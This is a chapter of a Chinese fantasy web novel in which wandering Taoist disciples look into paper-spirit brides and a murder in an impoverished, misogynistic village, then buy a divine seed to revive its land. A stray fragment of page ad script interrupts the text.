伏顺在屋里想了许久,还是忍不住要听墙根。段星河出来这么久了还不回去,看来那小两口洞房还没结束。他不想错过好戏,悄然推门出来,迎面却见那个小媳妇穿着红袄,正在跟一团黑雾交换精气。 伏顺吓得往后退了一步,一屁股坐在了地上,哑声道:“妈呀,什么鬼!” 那团黑雾注意到了他,张开大嘴喷了口气,威胁他别多管闲事。 段星河从屋后走了出来,示意伏顺别出声。伏顺没想到大师兄不声不响的,却在外头看这种可怕的东西。他下意识捂上了嘴,不敢乱动。小媳妇转过身来,一双黝黑的眼睛就像两团墨点子似的,直勾勾地盯着他们,毫无人类的感情。她头顶的那团黑雾也注视着他们,释放出强烈的杀气。 只要它们没杀人,段星河也不想管太多。他神色淡淡的,摆了个自便的手势,不想轻易沾染别人的因果。 那黑影仿佛觉得这小子还算上道,骤然缩成极小的一团,嗖地一下子飞了出去。 那小媳妇在风中摇晃了几下,好像什么都没发生过似的,悄然回到了屋里,关上门睡了。 伏顺刚才都快被吓尿了,看着它们走了才松了口气。段星河走过来,一把拉起了他。伏顺小声道:“妈耶,我还没听过这么刺激的墙根呢……差点就要人命了。” 段星河低声道:“咱们明天就走了,知道该怎么办么?” 伏顺知道这一家人也是自作自受,心领神会道:“明白,什么也不说,随他们去就是了。” 众人一觉睡到天亮,吃过了饭,收拾东西准备启程。李母在厨房外跟结香道:“你要走了?” 结香点了点头,有些舍不得。母亲给她捋了捋头发,道:“去吧,路上勤快点,大小姐自然疼你。” 她凑得近了些,又在女儿耳边道:“眼睛放亮些,机会这么多,想办法攀个有钱的男人,早为自己以后做打算。” 她自以为是对女儿好,结香却受够了拼命生儿子那一套,根本不想成婚,将来宁可做自梳女。她低下了头,没有说话。 李母有些不高兴,道:“教你乖呢,听见了没有?” 这时候就听见一阵喧闹声,男人吼叫、女人嚎哭,声音隔了老远传过来,还是听得出来十分惨烈。李玉真从屋里探出头来,道:“怎么了?” 伏顺给包袱打了个结,懒懒道:“汉子打老婆吧,在这儿不是常有的事么?” 那哭叫声十分惨烈,听得出来喊的人极度恐惧。又有人嘶喊道:“杀人啦,救命啊,杀——” 凄厉的叫声戛然而止,死一般的静默笼罩在村子上方,让人毛骨悚然。段星河觉得不对劲,道:“去看看!” 他和赵大海循着声音找过去,就见一户人家前头已经围了不少来看热闹的村民。这里正是最早跟琼娘娘娶媳妇的人家,段星河前天还悄悄来看过他们,没想到今天就出事了。 一群人远远地看着那边,窃窃私语,谁也不敢过去。院子门敞着,一道暗红的血迹从里头淌了出来,他家的公公倒在地上,已经不动了。 有人道:“不得了,真死人了,怎么回事?” 住在附近的人听了半宿,道:“他家儿子病了半年,昨天夜里断了气,还没出殡呢。公公婆婆说是小媳妇克死的,连哭带骂的打了她大半夜,还拿着刀要砍她。儿媳妇被逼急眼了,抢过刀来把公公砍死了。” 其他人都吓得不轻,道:“一个小女人有这么大力气?” 邻居道:“要不说邪性呢。哎,那小媳妇上哪去了?刚才我还见她在院子里的。” 他家儿子病死了,公公被砍死了,儿媳妇不见了,一家子全散了。有人道:“他家婆婆呢?” 另一个邻居捂着心口道:“她家婆婆吓得不轻,冲出院子就跑了。我当时也是从墙头看见的,生怕他们跑我这儿来,吓死了!” 段星河走进院子,低头查看尸体,就见那公公倒在地上,身上被砍了十七八刀,手指头都被剁下来了,脖子上连着一点皮,脑袋耷拉在一边,黑色的血漫了一地,此时都凝固了。 赵大海瘆得不轻,在一旁道:“这得多大的恨啊,能下这么狠的手。” 人们聚在大门外,探头探脑地看着院子里的情形,窃窃私语道:“太吓人了……啧啧啧,这不是娶了个杀星进门么。” 地上飘落着几片红色的碎纸,段星河拾起来看了一眼,感觉上头带着一股阴气。他又往屋里走去,卧房里有股难闻的气味,是久病之人的味道。他家儿子和公公病了半年,味道已经染得整个屋子都是了。 他家儿子躺在床上,脸色绀青,尸体都已经僵硬了。他活着的时候,这个家还勉强维持着。他肯定也想不到,自己一死,这个家能变成这种惨状。 叮的一下银铃声响起,一阵凉风拂过,段星河感觉身后有什么东西浮现出来。他回头一看,却是青冥台的黑白无常到了。白无常头戴又尖又长的白帽子,端着招魂幡,笑吟吟道:“呦,兄台,怎么还跟从前一样,哪里有倒霉事哪里就有你啊。” 段星河平静道:“我也是路过的。” 簿册翻到了死者的那一页,黑无常拿着笔一勾,道:“寿数二十三纪,到此为止了,都是命。” 白无常把招魂幡一抖,尸体里一个魂魄缓缓地坐了起来,随即化作了一个白点飞入了招魂幡中。 段星河往院子里看了一眼,道:“外头的那个呢?” 黑无常哗哗地翻着簿册,道:“那个是作恶多端所致,你以为那老头儿为什么被砍死?” 段星河道:“打儿媳妇?” “岂止,”黑无常冷冷道,“还想扒灰呢。她婆婆帮忙按着,说儿子不能人道了,怎么着得给他家留个种,是儿子还是孙子都不重要了。” 段星河倒吸了一口气,这种家就是女人的地狱,就算是活人也要被他们逼疯了,何况嫁过来的不是人呢。 段星河道:“那琼娘娘是怎么回事,两位知道么?” 白无常微微一笑,道:“我们就是办差的,死了的人我们才管,活着的跟我们没关系。” 照他的意思,琼娘娘不是鬼,而是活物。昨天段星河见过她的原形,不是大家口中说的出马仙上身,而是比那种东西更强大的存在。段星河心里有了数,多半又是徘徊在世间的大妖,被这穷山恶水吸引过来的。 那两人出去拘了那恶公公的魂魄,老头儿指着地上的碎纸片,支支吾吾地还想说什么。白无常拿锁链粗暴地一拖,道:“你还有脸说,去青冥台慢慢聊吧!” 黑白无常勾到了两个魂魄,就这么消失了。其他人感到了一阵阴风刮过,忍不住打了个寒战。 院子周围乌乌泱泱的,村长带着几个小伙子大步过来了。一人看他眼生,粗声粗气地道:“喂,你干什么的就进去,人是你杀的?” 段星河摊开双手,身上干干净净的,道:“我是路过的,听说死了人,过来看一眼。” 赵大海也道:“你可别乱说啊,我们来的时候就已经这样了。外头这些乡亲们来得比我们还早呢。” 旁边有邻居道:“跟他们没关系,是这家的小媳妇杀的,我亲眼见了。” 村长走到了院子里,见那老头儿被砍的十分凄惨,忍不住有点反胃。他进屋看了一眼,发现了病死的儿子,又到处转了一圈,道:“他家女人呢,儿媳呢?” 村民道:“小媳妇不见了,婆婆也吓跑了。” 村长道:“赶紧去找,杀了公公还能让她跑了,反了天了!” 一群壮丁拿着棍棒到处寻找,见人就问见着他家媳妇了没有,村民还有不知道发生什么事的,只是摇头,觉得十分奇怪。众人闹哄哄地找了一阵子,就见一个人跑了过来,喘得上气不接下气的,道:“找、找到了!” 村长急切道:“找到凶手了?” 那人摇头道:“不是……找到他家婆婆了,在村后湾。她刚才掉进水里去了,差点淹死,有路过的给救上来了。” 村长道:“救活没有?” 那人道:“水给按出来了,活没活不知道。” 村长一摆手,道:“跟我去看看。” 一群人来到了村后湾跟前,那一池水仍然十分浑浊。地上漫着一大滩水,一个五十多岁的妇人躺在地上,浑身湿淋淋的。她刚醒过来,眼神还是直的,好像不明白自己为什么会在这里。村长走过去,蹲在她面前道:“昨天晚上发生了什么事,你跟我说说。” 那妇人怔怔地想了一阵子,忽然惊恐地捂着头,尖叫起来。村长被她吓了一跳,连忙退开了。其他壮丁围上来,七手八脚地按着她,大声道:“别喊,你叫什么!” 妇人觉得他们要害自己,叫得越发凄惨了。她嘶声道:“杀人了,杀人了——她把俺男人砍死了——” 周围的村民越围越多,结香和步云邪他们也过来了。众人围了一个大圈,看着这边的情形。 村长道:“谁砍的?” 妇人道:“琼娘娘给的媳妇,她砍人了,还要杀我!” 她浑身发抖,想起当时的情形就十分恐惧,鼻涕眼泪一起淌了下来。村长道:“她人呢?” 妇人受的刺激太大,脑中一片空白,想了一阵子忽然浑身筛糠似的抖了起来,道:“没了,飞走了!” 村长皱眉道:“什么飞走了?” 妇人语无伦次道:“我从家里逃出来,回头一望,就见那么大一个人,忽地变成了个红纸剪的女人,然后就碎了,被风吹的到处都是,还往我身上糊。我怕得要命,就一直往前跑,不知怎的就掉到水里去了。” 她身上湿漉漉的,不远处的石滩上还有一大坨水草,是救她的人从她身上扯下来的,里头缠着个白花花的东西,映着阳光泛出一点亮银色的光芒。 段星河离得最近,弯腰捡起来了。他拨开水草,见里头那白色的东西又圆又扁,正中间插着一根缝衣针,大半截都刺透过去了。 “嘶……!” 段星河一瞬间仿佛感到了那根针刺入时的痛感,是缠绕在这上面的一缕阴魂的记忆,极度痛苦怨恨。 伏顺凑过来,道:“这是什么东西?” 段星河想起了结香说过的话——若是生下了女婴,就用针从头顶心扎进去,扔到水里去淹死,吓住来投胎的女鬼,下一胎生的就会是儿子了。 他喃喃道:“头盖骨。” 伏顺吓了一跳,道:“不是吧,水里怎么会有这种东西?” 段星河面无表情道:“这地方的水里全是这种东西呢。” 他摩挲着骨头,上头长着些青苔。结香说小孩儿的骨头是软的,但现在摸起来已经很硬了,看来它沉在这里有好多年了。 村长身边的一个男人看过来,呵斥道:“放下,谁让你乱动这里的东西了?” 段星河也没生气,把头骨轻轻放在了地上,既然是他们村的特产,就让这些人好好供着吧。那妇人连哭带嚎的,情绪十分不稳定,村长也问不出别的话了,感觉十分棘手。 他觉得这妇人多半是吓傻了,说话疯疯癫癫的,一个大活人怎么可能凭空消失了。他让人赶紧去寻找那小媳妇的下落,逮着了就当着全村人的面浸猪笼,好杀一儆百。只是他心里隐约也有别的担忧,万一那小媳妇真变成了纸,这事就不好办了。村里跟琼娘娘讨媳妇的不止一户人家,这种事要是再发生怎么办? 他寻思着,见段星河等人看够了热闹,打算走了。他心头一动,出声道:“几位小道长,请留步。” 段星河回头道:“叫我们有事?” 村长示意让村民们都回去,一边叫了段星河等人来到一棵大胡杨树下,道:“听说几位是从大幽来的道长,道法一定很高明吧?” 段星河知道他的意思了,神色淡淡的,道:“我们年纪轻,修为一般,不敢妄自尊大。” 村长有求于人,和气道:“几位小道长不要妄自菲薄,我看的出来,你们有些本事。死了那么多人,你还敢往屋里钻,这不就是艺高人胆大嘛。” 段星河沉默下来,村长道:“你们也见了,村里出了这么吓人的事,说不定就是有妖孽作祟。几位既然是道士,能不能想办法解决一下?” 段星河淡淡道:“不是那个小媳妇杀的人么,她脚小跑不远的,赶紧去找还来得及。” 旁边一人道:“她没缠脚,院子里脚印老大一个,想跑肯定能跑得了。” 段星河道:“那就骑马去找呗,喔……你们没有马。” 伏顺憋着笑,觉得大师兄好像在暗搓搓地骂人。其他人没听出来,只是觉得有点别扭。 村长感觉这小子跟听不懂人话似的,皱眉道:“我已经叫人去找了,但若她不是人,再回来害村子里的人怎么办?” 段星河确实不想管他们的事,没说什么。村长以为他端着架子是要钱,干脆豁出去了,道:“你们帮我除了这个妖孽,我给你们五十两银子。” 段星河也不是什么钱都赚的,那家人那么折磨儿媳妇,最后变成这样也是罪有应得。纸人尚且受不了他们,要是活人落到他们手里,那得有多惨? 他正色道:“多谢村长抬爱,我们确实能力有限,抱歉。” 他草草一拱手,带着其他人一起走了。村长觉得自己白费了半天功夫,有些失望。那妇人还在抽抽噎噎地哭,让他更心烦了。旁边一个壮丁过来,低声道:“再怎么办?” 村长焦头烂额的,摆了摆手道:“帮他家把尸骨烧了,埋祖坟里吧。” 一群人回了李家,李亮刚起来,还不知道发生了什么事。李母从外头回来,挤在人堆里把事情看了一遍,觉得格外瘆得慌,生怕自家也跟他家一般。她走了一路,想了一路,又觉得是他家人运气不好,自己家又不欺负儿媳妇,肯定不会像他们一样倒霉。 她回去跟李父把事情说了一遍,李父睁大了眼道:“真杀了?” 李母道:“我就去村后湾看了一眼,见他家婆娘坐在地上,连哭带嚎的。听说是他家公公扒灰,死了活该。” 李父脸色惨白,显得有点害怕。小媳妇穿着一身黑坐在屋里,按照琼娘娘说的,白天不出门。李亮低着头想跟她说几句话,她也讷讷地不回答,看着是有点不正常。 李父紧锁着眉头,抽了一口旱烟,半晌低声道:“你去跟结香说说,让她问问那些小道长,该怎么办。” 李母快步走了出去,见结香从院子里经过,便招了招手,小声道:“好闺女,过来,娘有话跟你说。” 客房已经收拾干净了,结香跟母亲说了几句话,忧心忡忡地从外面走了进来。段星河环顾了一周,道:“东西带好了么,咱们走吧。” 大家正要出门,结香仿佛下定了决心似的,出声道:“段公子,我知道你本事大,求求你救救我家里人!” 段星河回头看她,结香眼泪落了下来,扑通一声跪在地上。纵使母亲不来说,她也想了一阵子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,道:“这新媳妇跟那家的一样,都不是人,连我都看出来了,我不信你火眼金睛看不出来。” 段星河觉得这丫头就是被她家里人吃准了,道:“你管他们,他们活过来就要你的命。” 结香也知道是这样,可他们毕竟是她的亲人,她实在不忍心不管。她哑声道:“不光我爹娘,村子里还有其他人可能被妖魔祸害。这地方还是有好人的,就像从前那个教我念过书的先生,他自从来到这里就没离开过,说要尽一生之力让这里的人摆脱蒙昧。还有些生在这里的孩子,本来就是无辜的,他们不该跟着那些恶人陪葬。” 她提到这些人,段星河也有些动容,但既然留在这里,便有在这里的因果。 结香向他磕了几个头,道:“求你了,大恩大德,我当牛做马来报答你们!” 段星河让开了一步,道:“你先起来。” 结香就是不肯起来,宋胡缨握住了她的手,把她拽了起来。结香一个踉跄站住了,还是难过地看着他。赵大海有点看不过去,道:“大师兄,要不然就当救救这里的女孩儿吧。” 伏顺也道:“就是,帮帮她们吧,怪可怜的。” 段星河见过那妖魔,黑乎乎的一大团,感觉不太好对付。他转头看步云邪,道:“有什么办法?” 步云邪沉吟道:“前头就有凌烟阁的分舵,要不咱们过去问问,看看人家有什么法子吧。” 段星河想也好,那些人天天见这些事,比自己有经验,他们总不能老是这么不管三七二十一就上去硬刚。他对结香道:“我们去找其他前辈问问,十天之内回来。你在家看着你爹娘哥哥,别让他们再靠近新媳妇了。” 结香在家里没有地位,说话不管用。她为难道:“我……我看不住。” 李玉真道:“这个无妨,我给你两道符,你贴在门窗上。只要你家人别进她房间,她自己出不来的。” 他说着从包袱里掏出黄纸和朱砂,凝神画了两道雷公符。黄符散发着淡淡的灵光,李玉真慎重道:“这能保你们平安,千万别把符纸揭了。” 结香千恩万谢地接了过来,稍微安心了一些。段星河等人套上车,跟李母嘱咐了几句,出发去前头的城镇了。结香照他们教的,趁着新媳妇在屋里躲太阳,把黄符贴在了窗户和门上。 新媳妇木然地转过头来看了她一眼。结香有些害怕,小声道:“嫂子,你歇一会儿,我们不来打扰你。” 新媳妇把头慢慢地转了回去,一直静静地坐在床上,显得十分诡异。 李亮得知了他们的安排,十分不满,在院子里嚷嚷道:“什么意思,老子刚娶了媳妇,你就不让碰,那我花那么多钱干什么的?” 李母一大早看了那家人的惨状,心里实在害怕,道:“那几个小道长去帮咱们问了,你就先等几天,若是没事儿,你再回去跟老婆一起住嘛。” 李亮还是不甘心,李父抽着旱烟道:“听你娘的,老实几天,你媳妇跑不了。” 大车穿过大浔山,走了三天才到了前头的金雨城。城里的街道干净宽阔,民房修建的结实整齐,还有不少卖点心和小玩意儿的铺子,之前的匮乏感被一扫而空。李玉真下了车,长舒了一口气,道:“这才是有烟火气的地方,之前在那破村子里待着,简直要压抑死了!” 街边的人家屋檐下吊着一块腊肉,晾衣绳上挂着成排的衣服,看起来还挺新的。赵大海盯着看了半天,忍不住道:“就放在外面啊,不怕被人偷了吗?” 几个女孩儿提着胭脂水粉从身边走过,有说有笑的。伏顺的目光追着她们,十分诧异。他道:“外面这么危险,这些小姑娘怎么敢出门的,还打扮这么漂亮,不要命啦?” 他们跟土包子进城似的,看到什么都觉得不可思议,下意识觉得凡是有价值的东西都不能露出来,否则就要出事。步云邪道:“你们醒醒,这儿已经不是那个村子了。” 大家这才意识到,不光那里的女人过得惨,他们才在那里待了几天,脑子就变得跟那些人一样了。 赵大海找了个客栈,把大车停下。段星河去定了客房,在大堂点了一大桌子菜,有烧鸡、烤鸭、炖的软烂的红烧肉,大家狠狠炫了一顿。就连宋胡缨这样的大小姐都两个腮里塞满了食物,眼睛还盯着碗里的饭,好像不赶紧把东西藏到嘴里就会被人抢了似的。 他们之前虽然时常风餐露宿,没过几天富裕生活,起码精神不穷。但小浔村的那种贫瘠简直深入人的灵魂,从盐碱地滋生出来,闷在大山里发酵,强烈而歹毒,平等地给每个人一记重创。 伏顺吃着饭,呜呜咽咽地假哭道:“大师兄,你对我真好……我感觉饿了好久啊。” 段星河不为所动,道:“一共两个咸鸭蛋不都让你吃了吗,瓜皮的牛肉干也被你吃了不少,你以为我不知道呢。” 伏顺感觉自己好像是偷偷吃了不少好东西,连孩子的储备粮都没放过,但他心里就是觉得饿。他本来想硬挤两颗眼泪扮可怜,但段星河铁石心肠不买账,他也真的哭不出来,只好作罢了。 众人吃了饭,回屋休息了一会儿。赵大海赶车太累了,这会儿还在睡觉,伏顺跟他的呼噜声此起彼伏,隔着门都能听到。段星河想着还没办正事,叫上了步云邪和李玉真,道:“去凌烟阁看看吧。” 三人出了客栈,沿着街往前走了一阵子,找到了凌烟阁在这里的分舵。 公告板上贴着新任务,段星河看了一眼,都是一二星的,看来这儿是个藏龙卧虎的地方。李玉真出示了阁主给他的印信,道:“我想见你们堂主。” 侍卫进去通报了,片刻道:“请进吧,堂主在里头呢。” 段星河等人进了分舵,远远见一个中年男子坐在正厅里。他穿着一身浅青色的锦袍,衣衫上绣着凌烟阁的流云花纹,手里拿着一把折扇把玩。见客人来了,他站起身道:“几位就是阁主的朋友么?” 李玉真出示了周玉成给他的黑玛瑙戒指,道:“在下李玉真,这些是我的兄弟。周叔叔是我师父的好朋友,他说我们出门在外,遇到难处可以来凌烟阁寻求帮助。” 那男子微微一笑,道:“原来是李公子,幸会。在下庄晴,是这里的堂主,有什么能帮忙的么?” 段星河把小浔村的事说了一遍,道:“不知道堂主有什么法子解决那村里的问题么?” 庄晴的神色有些为难,寻思了一阵子,道:“那村子里的事我也有所耳闻,闹妖都是小事,主要是百姓太穷,连日子都过不下去,说什么礼义廉耻他们都听不进去的。” 段星河道:“那怎么办?” 庄晴道:“这不是一代两代能解决的问题,那边的土地太贫瘠了,还是得想办法让他们恢复种地,先吃饱穿暖了,人才能开化。” 仓廪实而知礼节,衣食足而知荣辱。他说的是不错,但那边都是盐碱地,连野草都不长,能种什么粮? 段星河觉得他既然这么说了,应该是有办法,道:“庄兄有办法改变土地么?” 庄晴搓了搓手道:“有是有,就是……有点贵。” 段星河想起村长说要给他钱的事了,后悔自己当时没答应。他想了想,大不了自己先把钱垫上,回去找村长报销。他道:“是什么东西?” 凌烟阁每年都会收集不少天材地宝,库房里包罗万象什么都有,只要有钱,多稀奇的东西都能找来。庄晴道:“前阵子有人卖给我一颗五色神种,据说是后稷遗留在人间的种子,具有极强大的神力,哪怕是最贫瘠的土地,埋下去都能变成适宜耕种的土地。” 众人听得眼都睁大了,这种东西必然价格不菲。段星河道:“要多少钱?” 庄晴道:“六百两。” 众人沉默下来,他们之前回了一趟老家,把钱都花的差不多了,根本买不起这玩意儿。就算回去跟老村长报销,他顶多出个一二百两,剩下的钱怎么办? 段星河看了李玉真一眼,示意他跟人家套套近乎。李玉真硬着头皮道:“庄大哥,能不能便宜点?” 庄晴大方道:“你们是阁主的朋友,给你们算九折吧,没法再少了。” 众人互相看了一眼,露出了为难的表情。段星河也觉得有些难办,道:“稍等一下,我们商量商量。” 63.琼娘娘 五 他一招手,那两人跟着他出去了。三个人站在一棵梧桐树下,段星河道:“买不买?” 步云邪皱眉道:“五百四十两,那些人又不领情,咱们也亏太多了吧?” 李玉真道:“我这还有点钱,还一直没花呢……” 段星河想起小浔村的那些人,简直恶的千奇百怪,也不想这么个倒贴法。但结香说的不错,那里也有不少无辜的人,生来就被欺凌压迫,一辈子都无法摆脱贫困。更有像那位教书先生一样的人,就像一棵胡杨,种子飘落在此处,就生根发芽长出一片树荫,想要尽一己之力改变那里的贫瘠。 若是就这么走了,日后想起来总是个遗憾。段星河觉得冥冥之中仿佛有股力量催促他解决这件事似的,不管总是不安生。他下决心道:“算了,就当行善积德。能改变一方土地是大功德,兄弟们凑凑钱吧。” 步云邪脸色有些难看,道:“那你后面不活了?吃饭怎么办,住店呢?” 段星河道:“留下生活费,你们能出多少?” 李玉真道:“我出一百两。” 步云邪叹了口气,道:“我也出一百两。” 段星河自己还有私房钱,道:“那我也出这些……嗯,还差二百四十两。” 李玉真想起了周玉成的话,道:“要不然我打个欠条吧,周叔叔说缺钱可以跟他们借,不要利息,早晚还上就行。” 段星河觉得这也太过了,哪有借钱帮人忙的。他抓了抓头发,显得有点烦躁。他寻思着村长那边应该能把剩下的出了,自己先帮他垫上好了。他道:“不够的我出,就这么决定了。” 众人把钱给了他,进了正厅。庄晴还在喝茶,微笑道:“想好了么?” 段星河看了李玉真一眼,示意他再努力一把。李玉真心领神会,道:“庄兄,看在周叔叔的面上,抹个零。” 庄晴有点哭笑不得,道:“那是一般的零吗,四十两银子是说抹就抹的?” 李玉真只得赔笑道:“帮帮忙嘛,我在周叔叔面前好好夸你。以后有机会来太清宫,我一定热情招待你。” 庄晴被缠的没办法,道:“行吧,再给你便宜二十两,不能再低了。” 有关系确实好办事,段星河拿出了银票,道:“我们买了。” 庄晴知道那地方穷山恶水的,他们做这件事根本得不到任何回报,纯然是行善了。他道:“几位大义,在下佩服得很。不过我还是要提醒各位一句,这毕竟是种子,种下去也可能失败。有的地方贫瘠是天命,很难改变的。” 李玉真提出了他们最关心的问题,道:“失败了退钱么?” 庄晴手中折扇一摆,无情道:“不退,你们想好了再决定喔。” 段星河道:“成功的把握有几成?” 庄晴寻思了一下,道:“不好说,五五开吧。要是能先做法请稷神庇佑,成功的可能应该还能提高一点。” 反正是撞大运,就当赌一手了。段星河迟疑了片刻,一咬牙道:“买吧。” 庄晴微微一笑,道:“好,几位稍等一下,我去去就来。” 三个人在正厅坐了片刻,庄晴去后面库房取了两个匣子,一大一小。他让人捧着过来,放在了几人面前。 他摆了个请的动作,段星河打开了那个小匣子,里头顿时放出了一阵瑰丽的华光。三人都凑过来看,见盒子里垫着珍珠白色的丝绸,正中放着一个透明的水晶瓶子,瓶子里盛着一颗像稻粒一样的种子。稻壳包着米粒,尖端露出来的部分流转着赤、白、蓝、黄、青五种色彩,蕴含着强烈的五行之力。 他们意识到这回搞到真家伙了,方才还觉得钱花的肉疼,这会儿又振奋起来。这种上等神品,有钱也买不到,他们能碰上运气着实不错。 段星河把小匣子仔细地收起来,道了声多谢。庄晴正色道:“几位为了改变一方土地奔走,在下十分佩服。这个小玩意儿算是我送你们的,拿去抓妖用吧。” 他把那个大一些的匣子推了过来,段星河打开来,见里头放着个紫金葫芦。李玉真看着眼熟,拿起来瞧了一眼底下的落款,上面打着太清宫的印记,果然是他家炼化的法宝。这种东西平时家里一大堆,可惜他出来的时候没带上一个,此时又成了稀罕的宝贝。 李玉真好奇道:“买的话要多少钱?” 庄晴道:“这葫芦不但能抓一些小的山精魑魅,还能关极厉害的大妖,市面上卖三百两。” 李玉真道:“抓大妖也百试百灵?” 庄晴摇了摇头,道:“还是五五开。要是叫对方的名字,它答应了,成功的可能性更大。” 李玉真笑了,清楚自家炼化的法器有多大能耐,平级抓妖还能拿捏,越级的话好不好使就一阵阵的。反正是白送的,也不讲究那么多了。他拿起了紫金葫芦,道:“多谢庄兄,我们就收下了。” 庄晴亲自送他们出了门,道:“祝你们成功。” 李玉真挥手道:“多谢,过一阵子我们还回来。” 庄晴哈哈一笑,道:“好,缺什么再来找我,凌烟阁永远是你们的朋友。” 下午伏顺睡醒了,赵大海还在睡。伏顺闲来无事,出去买了一大袋子盐。他拿了个盆把生鸭蛋洗了一遍,挨个仔细擦干净,又用白酒泡了一会儿,开始腌咸鸭蛋了。 墨墨和小对眼对他忙活的东西很感兴趣,围着装盐的木盆转来转去。伏顺挥了挥手道:“别搁这儿捣乱,一边玩去。” 他把墨墨赶开了,小对眼就偷摸从他身后绕过去,从盆里扒出一大把盐来。白花花的盐撒了一地,颗粒有大有小的,它十分好奇,伸着舌头舔。伏顺回过头,见了一地的盐头都大了。他烦躁道:“扒拉出来干什么,你扫啊?” 他弯腰把盐收了起来,扔到垃圾桶里。这时候就听见身后咕噜咕噜直响,一转身发现墨墨用鼻子推着个生鸭蛋,正在滚着玩。 伏顺劈手夺过了那个鸭蛋,弹了墨墨一个脑瓜崩,道:“这是吃的东西,是能玩的吗?” 墨墨抖了抖耳朵,好像觉得一点也不疼。伏顺就听哗啦一声,小对眼又扒了一把盐出来,在上头踩了几个脚印。 它俩就是按下葫芦起了瓢,没有消停的时候。伏顺抓狂了,叉腰道:“你们俩有完没完,闹什么!” 赵大海总算醒了,揉着眼从床上爬起来道:“你把它俩弄出去不就行了,大师兄回来了吗?” 伏顺道:“没有呢吧。” 赵大海道:“那就给宋姑娘看着去吧。” 伏顺弯下腰,左右咯吱窝各夹着一个崽子,去前头客房用脚丫子蹭了蹭门板,道:“义父,在吗?” 宋胡缨开了门,道:“怎么了?” 伏顺连忙把两个崽子塞给她,道:“帮忙看一会儿,我有事。” 宋胡缨莫名其妙地接了过来,就见他急匆匆地走了。晚上段星河他们回来了,众人在一楼大厅吃饭。赵大海道:“大师兄,怎么样了?” 段星河道:“那边给了一颗种子,说是能改变土质。今晚好好休息,明天就回去吧。” 众人一想到还要回那穷乡僻壤,心情都有点沉重。宋胡缨抱着小对眼,看着它恹恹的模样,奇怪道:“它下午吃什么了吗,怎么老是口吐白沫?” 步云邪抱着墨墨,发现它嘴角也有些白沫,皮毛上还沾着些小颗粒。他道:“这白的是什么?” 他捻下了一块,墨墨伸出舌头舔了舔,又开始吐白沫。伏顺明白是怎么回事了,有点心虚。赵大海憨憨地说:“该不会是沾上盐了吧,下午伏顺在腌咸鸭蛋。” 步云邪明白了,它俩是吃了盐齁的。他上楼把墨墨的饭盆洗干净,倒上了清水,墨墨连忙低头喝了起来,好像渴了八百年似的。宋胡缨上了楼,小对眼从她怀里跳了出来,把墨墨拱到了一边,啪嗒啪嗒地舔起水来。 宋胡缨拎起了它后颈,道:“干什么,别人碗里的东西就比自己的香是吧?” 小对眼渴的不行,盯着碗嗷嗷直叫。宋胡缨抱着它回到自己屋里,给它倒了一碗水。小对眼一口气喝了大半碗,这才好多了。 步云邪拿梳子把墨墨身上多余的盐粒子梳下来,又拿湿布给它擦了一遍身体。照顾小动物确实使人身心放松,让他感觉白天损失的那一百两银子都不算什么了。墨墨觉得很舒服,眯着眼蹭了蹭步云邪,对他有无比的信任。 步云邪低头看着它,莫名有种感觉,好像自己跟它已经认识很久了。 他想起了第一次见到它的情形,它像个小萝卜头似的,头朝下扎在石坑里,可怜兮兮的,跟现在判若两貘。 步云邪道:“那天你是来找我的吗?” 墨墨啾地叫了一声,黑豆眼亮晶晶的。步云邪笑了,轻轻地摸着它的背,觉得不管怎么样,能遇到它真的很好。 大山上空的天灰蒙蒙的,小浔村中的人仍然被前几天的命案困扰着,大家都惶恐不安,连白天出门的人都少了很多。本来从琼娘娘那里娶了媳妇的人家都洋洋自得,觉得自己占了天大的便宜。如今他们看着自家的小媳妇都怕的要命,不知该如何是好。 结香待在家里,除了买菜出去一会儿,其他时间都看着家里人,生怕他们去招惹那个新媳妇。 新媳妇一直很安静,白天就在屋里睡觉。母亲每天拿两个窝头给她,她就慢吞吞地吃了,不说话,也不埋怨。头一天晚上刚贴上封条时,她想出来,刚一推门,忽然迅速地把手缩了回去。结香在外头看见了,觉得有些奇怪,她的动作好像被火烫到了似的,难不成真的对那符咒有反应? 结香趁着没人注意时,过去摸了摸那张符咒,没有任何感觉。她听说这种符咒只对鬼怪起作用,不会伤害人类。她下意识看了一眼屋里的人影,觉得这小嫂子越发诡异了。 她小声道:“嫂子,你喝水么?” 小媳妇抬眼看着她,点了点头。结香去倒了一壶热水,从门口递给她。新媳妇接水壶的时候,结香清楚地看见她手上有一块烧焦的痕迹,结的血痂还没掉。 她前两天帮着做过饭,碰过滚烫的锅灶,这几天也摸过符咒,到底是怎么烙下的痕迹,结香实在确定不了。 小嫂子注意到结香盯着自己的手,忽然低声道:“你在看……我么?” 她的声音断断续续的,好像很不擅长说话,却又极力想表达自己的意思。 结香吓了一跳,以为自己看穿了她的本相,要遭她报复了。小媳妇却露出了一点痴痴的笑容,道:“不疼,妹妹,我……不疼的。” 结香十分意外,没想到她不但会说话,还来安慰自己。结香不知怎的,心一下子就软了,觉得自己可能误会了她。她可能只是因为不善言辞,被家里人嫌弃,好不容易找了个人家嫁了,大家还怀疑她不是人。 结香一时间有些混乱,也不知道她到底是人还是妖。小媳妇看着她,好像很羡慕,又有些难过。结香道:“你想家吗?” 小媳妇道:“家……这里就是我的家啊。” 结香道:“我是说娘家,你爹娘呢?” 小媳妇依旧痴痴地道:“你爹娘,就是我爹娘。” 结香感觉她不但口齿不清,而且脑子也不太好使,难怪她家里人把她卖了。结香能感到她心地不坏,起码对自己是怀有善意的。 小媳妇道:“妹……之前有人家被新媳妇砍死了么?” 她被关在这里,又没出去过,不知道是怎么得知的。结香寻思着应该是哥哥那个漏勺嘴,在家说什么都没遮拦,让她听见了。小媳妇望着她,道:“所以……你们也把我关起来,是不是?” 结香感觉后脊梁一阵发凉,一时间说不出话来。这小嫂子一会儿聪明,一会儿痴傻的,让人难以琢磨。她追问道:“那个新媳妇……去哪儿了?” 结香犹豫了一下,道:“她逃跑了,大家一直没找到她,可能回娘家去了吧?” 小嫂子轻蔑地笑了,仿佛觉得能把女儿卖掉的娘家,没什么好回的。要跑就该跑到天涯海角去,永远都不见人才好。 结香叹了口气,道:“你好好休息吧,现在到处都很危险,待在屋子里才安全。” 小媳妇便咧嘴一笑,道:“好,我都听你们的。” 新房不让人进了,李亮只好搬到了客房去住。那边的屋子一股霉味,光秃秃的什么也没有,晚上又冷,李亮住的很不习惯。这天晚上吃着饭,父亲倒了碗酒,李亮拿过了酒坛子,自个儿也倒了一碗。 